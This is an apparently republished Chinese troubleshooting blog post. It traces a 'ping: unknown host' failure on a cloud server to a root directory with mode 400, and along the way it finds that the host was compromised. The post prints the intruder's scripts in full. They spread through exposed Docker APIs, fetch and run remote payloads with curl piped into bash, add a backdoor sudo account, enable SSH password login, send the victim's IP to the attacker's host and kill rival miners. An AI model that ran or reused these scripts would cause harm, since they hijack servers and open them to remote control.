记一次吐血的ping: unknown host

蔚落 2022-01-14 05:05 172阅读 0赞

[2019独角兽企业重金招聘Python工程师标准>>> ][2019_Python_] ![hot3.png][]

背景：

某客户的ECS，ping域名提示unknown host，ping ip则可以通，ping的时候抓包没有解析的包出去，是解析的问题吗？

1，测试ping域名以及抓包发现没有dns的解析包出去

# ping www.baidu.com -c 1
    ping: unknown host www.baidu.com
    # tcpdump -i any port 53 -nnvv
    tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes

2，测试ping ip dig getent等工作正常

# ping -c 1 115.239.210.27
    PING 115.239.210.27 (115.239.210.27) 56(84) bytes of data.
    64 bytes from 115.239.210.27: icmp_seq=1 ttl=55 time=1.87 ms
    
    --- 115.239.210.27 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 1.875/1.875/1.875/0.000 ms
    # getent hosts www.baidu.com
    115.239.211.112 www.a.shifen.com www.baidu.com
    115.239.210.27  www.a.shifen.com www.baidu.com
    # dig www.baidu.com +short
    www.a.shifen.com.
    115.239.210.27
    115.239.211.112

3，通过上述的测试可以确定，并非dns工作出现了问题，而是ping本身出现了问题

![6548636f9b7b48fac251ea114c85657e399.jpg][]

4，通过strace跟踪看下ping命令在运行的过程中加载文件是否有问题？

# strace -e open ping www.baidu.com
    open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
    open("/lib64/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
    open("/lib64/libidn.so.11", O_RDONLY|O_CLOEXEC) = 3
    open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
    open("/lib64/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3
    ......
    open("/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    open("/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    open("/lib64/tls/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    open("/lib64/tls/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    open("/lib64/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    open("/lib64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    open("/usr/lib64/tls/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    open("/usr/lib64/tls/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    open("/usr/lib64/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    open("/usr/lib64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
    ping: unknown host www.baidu.com
    +++ exited with 2 +++
    正常的对比(版本不同有差异)
    # strace -e open ping -c 1 www.baidu.com
    open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
    open("/lib64/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
    open("/lib64/libidn.so.11", O_RDONLY|O_CLOEXEC) = 3
    open("/lib64/libcrypto.so.10", O_RDONLY|O_CLOEXEC) = 3
    open("/lib64/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
    open("/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
    .......

5,提取所有的Permission denied的文件，查看权限（被我精简了一些）

# strace -e open -o p.out ping www.baidu.com |grep -i "Permission denied" p.out| awk -F "\\\"" '{print $2}'|xargs stat
      File: ‘/usr/lib/locale/locale-archive’
      Size: 106065056     Blocks: 207096     IO Block: 4096   regular file
    Device: fd01h/64769d    Inode: 132883      Links: 1
    Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2019-05-10 21:46:34.523000000 +0800
    Modify: 2015-07-13 15:21:14.804155630 +0800
    Change: 2015-07-13 15:21:14.804155630 +0800
     Birth: -
      File: ‘/usr/share/locale/locale.alias’
      Size: 2502          Blocks: 8          IO Block: 4096   regular file
    Device: fd01h/64769d    Inode: 132816      Links: 1
    Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2019-05-10 21:48:09.380738442 +0800
    Modify: 2015-03-06 05:18:56.000000000 +0800
    Change: 2015-07-13 15:21:09.324089405 +0800
     Birth: -
      File: ‘/usr/lib64/gconv/gconv-modules.cache’
      Size: 26254         Blocks: 56         IO Block: 4096   regular file
    Device: fd01h/64769d    Inode: 394951      Links: 1
    Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2019-05-10 21:46:34.878000000 +0800
    Modify: 2015-07-13 15:21:15.860168393 +0800
    Change: 2015-07-13 15:21:15.860168393 +0800
     Birth: -
      File: ‘/usr/lib64/gconv/gconv-modules’
      Size: 56377         Blocks: 112        IO Block: 4096   regular file
    Device: fd01h/64769d    Inode: 394941      Links: 1
    Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2015-07-13 15:21:15.857168356 +0800
    Modify: 2015-03-06 05:18:55.000000000 +0800
    Change: 2015-07-13 15:21:15.510164163 +0800
     Birth: -
      File: ‘/etc/resolv.conf’
      Size: 109           Blocks: 8          IO Block: 4096   regular file
    Device: fd01h/64769d    Inode: 660033      Links: 1
    Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2019-05-10 21:50:51.650325504 +0800
    Modify: 2019-05-10 21:47:49.650000000 +0800
    Change: 2019-05-10 21:47:49.650000000 +0800
     Birth: -
      File: ‘/etc/nsswitch.conf’
      Size: 1728          Blocks: 8          IO Block: 4096   regular file
    Device: fd01h/64769d    Inode: 658832      Links: 1
    Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2019-05-10 21:47:44.965000000 +0800
    Modify: 2015-07-13 15:21:28.905326045 +0800
    Change: 2015-07-13 15:21:28.905326045 +0800
     Birth: -
      File: ‘/etc/ld.so.cache’
      Size: 44226         Blocks: 88         IO Block: 4096   regular file
    Device: fd01h/64769d    Inode: 658829      Links: 1
    Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2019-05-10 21:46:33.738000000 +0800
    Modify: 2019-03-22 00:16:26.262531411 +0800
    Change: 2019-03-22 00:16:26.262531411 +0800
     Birth: -
      File: ‘/lib64/libnss_dns.so.2’ -> ‘libnss_dns-2.17.so’
      Size: 18            Blocks: 0          IO Block: 4096   symbolic link
    Device: fd01h/64769d    Inode: 151673      Links: 1
    Access: (0777/lrwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2019-05-10 21:47:09.952000000 +0800
    Modify: 2015-07-13 15:21:15.089159075 +0800
    Change: 2015-07-13 15:21:15.089159075 +0800
     Birth: -
      File: ‘/usr/lib64/libnss_dns.so.2’ -> ‘libnss_dns-2.17.so’
      Size: 18            Blocks: 0          IO Block: 4096   symbolic link
    Device: fd01h/64769d    Inode: 151673      Links: 1
    Access: (0777/lrwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2019-05-10 21:47:09.952000000 +0800
    Modify: 2015-07-13 15:21:15.089159075 +0800
    Change: 2015-07-13 15:21:15.089159075 +0800
     Birth: -

6，对比文件权限也没有发现明显的异常，我不禁有点麻爪，陷入深深的思考中

![9286b2269e504400a13fe405938729f6a21.jpg][]

7，尝试往被黑的方向排查 ，校验rpm包，替换ping命令，以及检查入侵痕迹

#  for i in $(rpm -qa);do rpm --verify $i ||echo $i ;done|grep bin |grep -v "node_modules"
    S.5......    /usr/bin/git
    S.5......    /usr/bin/git-receive-pack
    S.5......    /usr/bin/git-shell
    S.5......    /usr/bin/git-upload-archive
    S.5......    /usr/bin/git-upload-pack
    # lsmod
    Module                  Size  Used by
    tcp_diag               12591  0
    inet_diag              18543  1 tcp_diag
    dm_mirror              22135  0
    ......
    ata_piix               35038  0
    i2c_core               40325  3 drm,i2c_piix4,drm_kms_helper
    libata                218854  3 pata_acpi,ata_generic,ata_piix

命令，进程，module都没有明显异常

![2fa025b4eda44c5875a9576a38f7aab0ee6.jpg][]

8，重新回到问题本身，权限访问有问题，因此到根目录下，挨个看权限

# ls -l
    total 136
    -rwxrwxrwx    1 root root  1963 Feb 27 03:38 autom.sh
    lrwxrwxrwx.   1 root root     7 Nov 21  2014 bin -> usr/bin
    dr-xr-xr-x.   4 root root  4096 May 10 21:47 boot
    drwxr-xr-x   19 root root  3040 May 10 21:50 dev
    drwxr-xr-x. 102 root root 12288 May 10 21:50 etc
    drwxr-xr-x.   8 root root  4096 Mar 22 00:15 home
    lrwxrwxrwx.   1 root root     7 Nov 21  2014 lib -> usr/lib
    lrwxrwxrwx.   1 root root     9 Nov 21  2014 lib64 -> usr/lib64
    drwxrwxrwx    2 root root  4096 Jan 29 17:57 logs
    drwx------.   2 root root 16384 Nov 22  2014 lost+found
    drwxr-xr-x.   2 root root  4096 Jun 10  2014 media
    drwxr-xr-x.   3 root root  4096 Oct 23  2015 mnt
    lrwxrwxrwx    1 root root     9 Oct 23  2015 opt -> /mnt/opt/
    drwxrwxr-x    3 root root  4096 Oct  9  2018 path
    dr-xr-xr-x   93 root root     0 May 10 21:50 proc
    dr-xr-x---.  30 root root  4096 May 10 23:36 root
    drwxr-xr-x   30 root root   840 May 10 21:51 run
    lrwxrwxrwx.   1 root root     8 Nov 21  2014 sbin -> usr/sbin
    drwxrwxr-x    6 root root  4096 Jan 29 17:54 shell
    drwxrwxr-x    7 root root  4096 Jan 29 20:20 springbootdemo2
    drwxr-xr-x.   2 root root  4096 Jun 10  2014 srv
    dr-xr-xr-x   13 root root     0 May 11  2019 sys
    -rwxrwxrwx    1 root root   356 Nov  1  2018 test1.sh
    -rwxrwxrwx    1 root root   127 Nov  1  2018 test2.sh
    drwxrwxrwt.  26 root root 40960 May 11 00:10 tmp
    drwxrwxr-x    3 root root  4096 Dec 22 14:48 Users
    drwxr-xr-x.  14 root root  4096 Aug  6  2018 usr
    drwxr-xr-x.  23 root root  4096 May  6 11:31 var

9，对比权限没有发现问题，发现了几个脚本，看看脚本是做什么的

# cat test1.sh test2.sh
    #!/bin/bash
    sed -i 's/\r//g' $1
    sed -i '/::/g' $1
    while read HOSTLINE
    do
    echo NOW WORKING ON $HOSTLINE
    docker -H tcp://$HOSTLINE run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "yum install wget -y;apt-get install wget -y;wget http://51.*.*.146/autom.sh -O /autom.sh;chmod 777 /autom.sh;sh /autom.sh"
    echo DONE WITH $HOSTLINE
    sed -i '1d' $1
    done <$1
    -----------------
    #!/bin/bash
    sed -i 's/\r//g' $1
    sed -i '/::/g' $1
    while read HOSTLINE
    do
    sh test1.sh $1 & sleep 7; sed -i '1d' $1;
    done <$1
    -----------------
    # cat autom.sh
    #!/bin/sh
    useradd -m -p '$1$tVoMAZYE$s5CynwZ4QuboPD2qVQ0h9/' akay
    adduser -m -p '$1$tVoMAZYE$s5CynwZ4QuboPD2qVQ0h9/' akay
    usermod -aG sudoers akay;
    usermod -aG root akay;
    sudo adduser akay sudo;
    echo 'akay  ALL=(ALL:ALL) ALL' >> /etc/sudoers;
    sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
    curl icanhazip.com >/tmp/myip.txt
    ip=$(cat /tmp/myip.txt)
    curl http://51.*.*.146/ip.php?ip=$ip
    /etc/init.d/ssh restart;
    /etc/init.d/sshd restart;
    /etc/rc.d/sshd restart;
    systemctl restart sshd;
    systemctl restart ssh;
    apt-get install screen -y
    yum install screen -y
    if [ $(dpkg-query -W -f='${Status}' systemd 2>/dev/null | grep -c "ok installed") -eq 0 ];
    then
      apt-get install systemd -y;
      yum install systemd -y;
    fi;
    if [ $(dpkg-query -W -f='${Status}' masscan 2>/dev/null | grep -c "ok installed") -eq 0 ];
    then
      apt-get install masscan -y;
      yum install masscan -y;
    fi;
    if [ $(dpkg-query -W -f='${Status}' iproute2 2>/dev/null | grep -c "ok installed") -eq 0 ];
    then
      apt-get install iproute2 -y;
      yum install iproute2 -y;
    fi;
    curl -s http://51.*.*.146/logo9.jpg | bash -s
    wget http://51.*.*.146/test1.sh -O test1.sh;
    wget http://51.*.*.146/test2.sh -O test2.sh;
    #wget http://51.*.*.146/scanner.sh -O scanner.sh;
    sleep 2s;
    chmod 777 test1.sh;
    chmod 777 test2.sh;
    sleep 2s;
    killall xmrig;
    killall xm;
    killall proc;
    killall minergate-cli;
    killall xmr-stak;
    pkill -f xmrig;
    pkill -f xmr-stak;
    pkill -f xm;
    kill -9 xmrig;
    kill -9 xmr-stak;
    kill -a xmrig;
    kill -a xmr-stak;
    kill -a xm;
    sudo killall minergate-cli;
    sudo kill -9 minergate-cli;
    sudo pkill -f minergate-cli;
    sudo killall proc;
    sudo kill -9 proc;
    sudo pkill -f proc;
    sudo killall xmrig;
    sudo killall xmr-stak;
    sudo pkill -f xmrig;
    sudo pkill -f xmr-stak;
    sudo kill -9 xmrig;
    sudo kill -9 xmr-stak;
    sudo kill -a xmrig;
    sudo kill -a xmr-stak;
    systemctl daemon-reload;
    systemctl stop bashd.service;
    systemctl disable bashd.service;
    #sudo sh scanner.sh &

10，原来真的被黑了，建议客户购买[安全应急服务][Link 1]期间，抱着研究的目的继续看ping的问题

![df15668d1cd3ed510dd89e77292cf51dac4.jpg][]

11，灵光一闪，根目录自身是什么权限？（不用纠结时间，为了写这篇文章我重新做了很多测试）

有问题的机器
    # ls -ld /
    dr--------. 22 root root 4096 May 10 21:47 /
    正常的机器
    # ls -ld /
    dr-xr-xr-x. 19 root root 4096 Apr 30 17:33 /
    # chmod 555 /
    # ping -c 2 www.baidu.com
    PING www.a.shifen.com (115.239.210.27) 56(84) bytes of data.
    64 bytes from 115.239.210.27: icmp_seq=1 ttl=55 time=1.84 ms
    64 bytes from 115.239.210.27: icmp_seq=2 ttl=55 time=1.86 ms
    
    --- www.a.shifen.com ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms
    rtt min/avg/max/mdev = 1.842/1.854/1.866/0.012 ms

大功告成~！

![42b962d97dcb08054a2682ad7a5e0b67e03.jpg][]

[原文链接][Link 2]  
本文为云栖社区原创内容，未经允许不得转载。

转载于:https://my.oschina.net/u/1464083/blog/3048774

[2019_Python_]: https://my.oschina.net/u/2663968/blog/3061697
[hot3.png]: /images/20220114/891f44b9a3674a239f83c0cfad8be81b.png
[6548636f9b7b48fac251ea114c85657e399.jpg]: /images/20220114/db2ca300af334d1d802e224c93c070f4.png
[9286b2269e504400a13fe405938729f6a21.jpg]: /images/20220114/bec6e0d9927f4c169ee191ce6e5dabf2.png
[2fa025b4eda44c5875a9576a38f7aab0ee6.jpg]: /images/20220114/797fe7f558d14fdba1a966e260b60c3f.png
[Link 1]: https://www.aliyun.com/product/yundun_incident_response
[df15668d1cd3ed510dd89e77292cf51dac4.jpg]: /images/20220114/3c1309cec65240959956934b69cb156d.png
[42b962d97dcb08054a2682ad7a5e0b67e03.jpg]: /images/20220114/d8b98e69db0241fa8b493cedf12ca4e4.png
[Link 2]: https://yq.aliyun.com/articles/702074?utm_content=g_1000057243